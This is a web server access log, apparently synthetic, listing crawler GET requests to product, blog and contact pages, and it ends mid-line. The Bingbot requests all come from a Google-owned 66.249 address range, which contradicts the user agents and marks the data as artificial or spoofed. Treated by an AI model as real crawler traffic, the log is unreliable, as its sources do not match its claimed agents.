web-app[2345]: GET /blog/article-1 status=200 from=66.249.67.51 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:56 web-app[2345]: GET /products/item12 status=200 from=66.249.90.2 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:56 web-app[2345]: GET /products/item15 status=200 from=66.249.65.127 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:57 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.59 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:57 web-app[2345]: GET /products/item3 status=200 from=66.249.67.64 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:57 web-app[2345]: GET /products/item5 status=200 from=66.249.76.194 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:57 web-app[2345]: GET /products/item7 status=200 from=66.249.67.99 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:58 web-app[2345]: GET /blog/article-1 status=200 from=66.249.64.7 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:58 web-app[2345]: GET /products/item7 status=200 from=66.249.79.77 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:58 web-app[2345]: GET /products/item7 status=200 from=66.249.80.43 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:58 web-app[2345]: GET /products/item7 status=404 from=66.249.93.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:01:59 web-app[2345]: GET /products/item18 status=200 from=66.249.76.159 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:01:59 web-app[2345]: GET /products/item4 status=200 from=66.249.64.27 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:00 web-app[2345]: GET /blog/article-2 status=200 from=66.249.83.104 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:00 web-app[2345]: GET /products/item3 status=200 from=66.249.95.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:00 web-app[2345]: GET /products/item8 status=200 from=66.249.72.38 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:01 web-app[2345]: GET /about-us status=200 from=66.249.80.193 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:01 web-app[2345]: GET /products/item12 status=200 from=66.249.72.17 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:01 web-app[2345]: GET /products/item2 status=200 from=66.249.67.149 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:01 web-app[2345]: GET /products/item9 status=200 from=66.249.74.127 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:03 web-app[2345]: GET /contact status=200 from=66.249.89.204 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:03 web-app[2345]: GET /products/item15 status=200 from=66.249.83.192 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:03 web-app[2345]: GET /products/item17 status=200 from=66.249.90.87 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:03 web-app[2345]: GET /products/item5 status=200 from=66.249.91.111 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:03 web-app[2345]: GET /products/item9 status=200 from=66.249.84.225 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:04 web-app[2345]: GET /products/item13 status=200 from=66.249.95.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:04 web-app[2345]: GET /products/item15 status=200 from=66.249.84.102 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:04 web-app[2345]: GET /products/item3 status=200 from=66.249.93.90 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:04 web-app[2345]: GET /products/item8 status=200 from=66.249.80.248 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:05 web-app[2345]: GET /products/item1 status=200 from=66.249.79.166 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:05 web-app[2345]: GET /products/item14 status=200 from=66.249.90.107 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:05 web-app[2345]: GET /products/item16 status=200 from=66.249.93.133 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:05 web-app[2345]: GET /products/item4 status=200 from=66.249.68.20 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:05 web-app[2345]: GET /products/item8 status=200 from=66.249.87.223 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:06 web-app[2345]: GET /blog/article-2 status=200 from=66.249.94.177 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:06 web-app[2345]: GET /products/item2 status=200 from=66.249.92.144 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:06 web-app[2345]: GET /products/item3 status=200 from=66.249.83.232 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:07 web-app[2345]: GET /products/item1 status=200 from=66.249.70.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:07 web-app[2345]: GET /products/item8 status=200 from=66.249.68.146 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:08 web-app[2345]: GET /products status=200 from=66.249.87.211 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:08 web-app[2345]: GET /products/item10 status=200 from=66.249.65.27 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:08 web-app[2345]: GET /products/item12 status=200 from=66.249.76.138 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:08 web-app[2345]: GET /products/item15 status=200 from=66.249.67.6 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:08 web-app[2345]: GET /products/item18 status=200 from=66.249.79.207 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:09 web-app[2345]: GET /products/item1 status=200 from=66.249.79.151 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:09 web-app[2345]: GET /products/item12 status=200 from=66.249.77.8 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:09 web-app[2345]: GET /products/item19 status=200 from=66.249.76.162 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:09 web-app[2345]: GET /products/item19 status=200 from=66.249.95.56 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:09 web-app[2345]: GET /products/item5 status=200 from=66.249.95.117 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:10 web-app[2345]: GET /products/item19 status=200 from=66.249.78.235 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:10 web-app[2345]: GET /products/item3 status=200 from=66.249.80.3 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:11 web-app[2345]: GET /products/item4 status=200 from=66.249.86.15 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:11 web-app[2345]: GET /products/item6 status=200 from=66.249.65.123 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:12 web-app[2345]: GET /blog/article-2 status=200 from=66.249.66.186 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:12 web-app[2345]: GET /products/item1 status=200 from=66.249.67.176 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:12 web-app[2345]: GET /products/item2 status=200 from=66.249.70.103 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:12 web-app[2345]: GET /products/item3 status=200 from=66.249.65.192 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:12 web-app[2345]: GET /products/item8 status=301 from=66.249.77.37 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:13 web-app[2345]: GET /products status=404 from=66.249.82.69 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:13 web-app[2345]: GET /products/item10 status=200 from=66.249.83.209 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:13 web-app[2345]: GET /products/item13 status=200 from=66.249.82.53 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:13 web-app[2345]: GET /products/item16 status=301 from=66.249.95.63 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:14 web-app[2345]: GET /products/item1 status=200 from=66.249.82.89 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:14 web-app[2345]: GET /products/item19 status=200 from=66.249.90.231 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:15 web-app[2345]: GET /about-us status=200 from=66.249.83.45 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:15 web-app[2345]: GET /blog/article-1 status=200 from=66.249.79.226 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:15 web-app[2345]: GET /products/item1 status=200 from=66.249.91.160 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:15 web-app[2345]: GET /products/item19 status=200 from=66.249.85.50 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:16 web-app[2345]: GET /about-us status=200 from=66.249.80.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:16 web-app[2345]: GET /blog/article-2 status=200 from=66.249.86.118 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:16 web-app[2345]: GET /contact status=200 from=66.249.69.50 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:16 web-app[2345]: GET /products status=404 from=66.249.86.49 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:16 web-app[2345]: GET /products/item18 status=200 from=66.249.82.228 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:16 web-app[2345]: GET /products/item2 status=200 from=66.249.68.129 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:17 web-app[2345]: GET /products/item13 status=200 from=66.249.89.54 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:17 web-app[2345]: GET /products/item15 status=200 from=66.249.75.161 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:18 web-app[2345]: GET /products/item14 status=200 from=66.249.71.178 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:18 web-app[2345]: GET /products/item14 status=200 from=66.249.82.29 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:18 web-app[2345]: GET /products/item16 status=200 from=66.249.84.70 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:18 web-app[2345]: GET /products/item6 status=200 from=66.249.83.177 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:19 web-app[2345]: GET / status=200 from=66.249.79.232 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:19 web-app[2345]: GET /blog/article-1 status=200 from=66.249.74.220 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:19 web-app[2345]: GET /products status=200 from=66.249.67.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:19 web-app[2345]: GET /products/item12 status=200 from=66.249.72.142 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:19 web-app[2345]: GET /products/item15 status=200 from=66.249.89.109 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:19 web-app[2345]: GET /products/item16 status=200 from=66.249.69.91 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:19 web-app[2345]: GET /products/item6 status=404 from=66.249.65.144 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:19 web-app[2345]: GET /products/item8 status=404 from=66.249.69.7 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:20 web-app[2345]: GET /about-us status=200 from=66.249.85.84 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:20 web-app[2345]: GET /products/item14 status=200 from=66.249.70.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:20 web-app[2345]: GET /products/item18 status=200 from=66.249.85.68 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:20 web-app[2345]: GET /products/item2 status=200 from=66.249.67.223 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:20 web-app[2345]: GET /products/item4 status=200 from=66.249.94.148 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:20 web-app[2345]: GET /products/item6 status=200 from=66.249.65.239 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:21 web-app[2345]: GET / status=200 from=66.249.83.129 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:21 web-app[2345]: GET /products/item13 status=200 from=66.249.66.175 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:21 web-app[2345]: GET /products/item16 status=200 from=66.249.69.154 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:21 web-app[2345]: GET /products/item19 status=200 from=66.249.78.243 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:21 web-app[2345]: GET /products/item19 status=200 from=66.249.89.68 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:22 web-app[2345]: GET / status=200 from=66.249.92.193 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:22 web-app[2345]: GET /products status=200 from=66.249.70.208 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:22 web-app[2345]: GET /products/item1 status=200 from=66.249.81.9 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:22 web-app[2345]: GET /products/item17 status=200 from=66.249.78.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:22 web-app[2345]: GET /products/item2 status=200 from=66.249.66.138 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:22 web-app[2345]: GET /products/item7 status=200 from=66.249.95.232 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:23 web-app[2345]: GET /products/item6 status=200 from=66.249.79.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:23 web-app[2345]: GET /products/item9 status=200 from=66.249.81.183 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:24 web-app[2345]: GET /products/item8 status=200 from=66.249.81.122 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:24 web-app[2345]: GET /products/item9 status=200 from=66.249.68.102 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:25 web-app[2345]: GET /products/item13 status=200 from=66.249.88.209 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:25 web-app[2345]: GET /products/item15 status=200 from=66.249.81.232 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:25 web-app[2345]: GET /products/item16 status=404 from=66.249.94.103 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:25 web-app[2345]: GET /products/item4 status=200 from=66.249.86.113 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:26 web-app[2345]: GET /blog/article-1 status=200 from=66.249.75.89 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:26 web-app[2345]: GET /contact status=200 from=66.249.95.93 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:26 web-app[2345]: GET /products/item14 status=200 from=66.249.75.7 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:27 web-app[2345]: GET / status=200 from=66.249.90.49 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:27 web-app[2345]: GET /blog/article-1 status=301 from=66.249.94.149 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:27 web-app[2345]: GET /products/item11 status=200 from=66.249.65.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:27 web-app[2345]: GET /products/item18 status=200 from=66.249.72.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:27 web-app[2345]: GET /products/item3 status=200 from=66.249.85.215 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:27 web-app[2345]: GET /products/item8 status=200 from=66.249.86.101 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:28 web-app[2345]: GET /blog/article-1 status=200 from=66.249.72.64 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:29 web-app[2345]: GET /products/item11 status=200 from=66.249.69.207 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:29 web-app[2345]: GET /products/item15 status=200 from=66.249.80.97 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:30 web-app[2345]: GET /products/item1 status=200 from=66.249.80.170 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:30 web-app[2345]: GET /products/item17 status=200 from=66.249.67.86 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:30 web-app[2345]: GET /products/item6 status=200 from=66.249.92.58 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:30 web-app[2345]: GET /products/item9 status=200 from=66.249.91.166 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:31 web-app[2345]: GET /products/item17 status=200 from=66.249.93.15 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:32 web-app[2345]: GET / status=200 from=66.249.73.60 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:32 web-app[2345]: GET /contact status=200 from=66.249.68.60 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:32 web-app[2345]: GET /products/item14 status=200 from=66.249.74.191 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:32 web-app[2345]: GET /products/item7 status=200 from=66.249.65.92 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:33 web-app[2345]: GET /products/item11 status=200 from=66.249.66.19 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:33 web-app[2345]: GET /products/item12 status=200 from=66.249.73.248 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:33 web-app[2345]: GET /products/item14 status=200 from=66.249.82.17 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:34 web-app[2345]: GET /blog/article-1 status=200 from=66.249.65.44 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:34 web-app[2345]: GET /products/item12 status=200 from=66.249.71.38 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:34 web-app[2345]: GET /products/item15 status=200 from=66.249.73.187 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:34 web-app[2345]: GET /products/item18 status=301 from=66.249.68.182 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:34 web-app[2345]: GET /products/item4 status=200 from=66.249.77.219 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:34 web-app[2345]: GET /products/item9 status=404 from=66.249.92.103 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:35 web-app[2345]: GET / status=200 from=66.249.80.170 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:35 web-app[2345]: GET /products status=200 from=66.249.68.251 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:35 web-app[2345]: GET /products/item3 status=200 from=66.249.70.193 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:35 web-app[2345]: GET /products/item4 status=200 from=66.249.81.147 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:35 web-app[2345]: GET /products/item4 status=200 from=66.249.89.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:35 web-app[2345]: GET /products/item7 status=200 from=66.249.86.164 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:36 web-app[2345]: GET /blog/article-1 status=200 from=66.249.71.155 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:36 web-app[2345]: GET /blog/article-2 status=200 from=66.249.82.163 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:36 web-app[2345]: GET /products/item2 status=200 from=66.249.86.52 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:36 web-app[2345]: GET /products/item4 status=200 from=66.249.73.98 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:36 web-app[2345]: GET /products/item5 status=200 from=66.249.93.249 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:36 web-app[2345]: GET /products/item8 status=200 from=66.249.87.5 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:37 web-app[2345]: GET / status=200 from=66.249.82.198 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:37 web-app[2345]: GET /products/item7 status=200 from=66.249.81.163 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:38 web-app[2345]: GET /products/item1 status=200 from=66.249.90.253 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:38 web-app[2345]: GET /products/item11 status=200 from=66.249.69.161 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:38 web-app[2345]: GET /products/item13 status=200 from=66.249.70.54 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:38 web-app[2345]: GET /products/item13 status=200 from=66.249.73.35 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:38 web-app[2345]: GET /products/item14 status=200 from=66.249.91.0 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:38 web-app[2345]: GET /products/item15 status=200 from=66.249.67.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:38 web-app[2345]: GET /products/item7 status=200 from=66.249.71.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:38 web-app[2345]: GET /products/item8 status=200 from=66.249.93.3 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:39 web-app[2345]: GET /products/item10 status=200 from=66.249.79.122 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:39 web-app[2345]: GET /products/item2 status=200 from=66.249.79.49 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:02:40 web-app[2345]: GET /contact status=200 from=66.249.73.39 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:40 web-app[2345]: GET /products/item15 status=200 from=66.249.79.83 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:40 web-app[2345]: GET /products/item16 status=200 from=66.249.64.197 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:02:40 web-app[2345]: GET /products/item17 status=200 from=66.249.80.126 agent="Mozilla/5.0 (compatible; Bingbot/2.0; 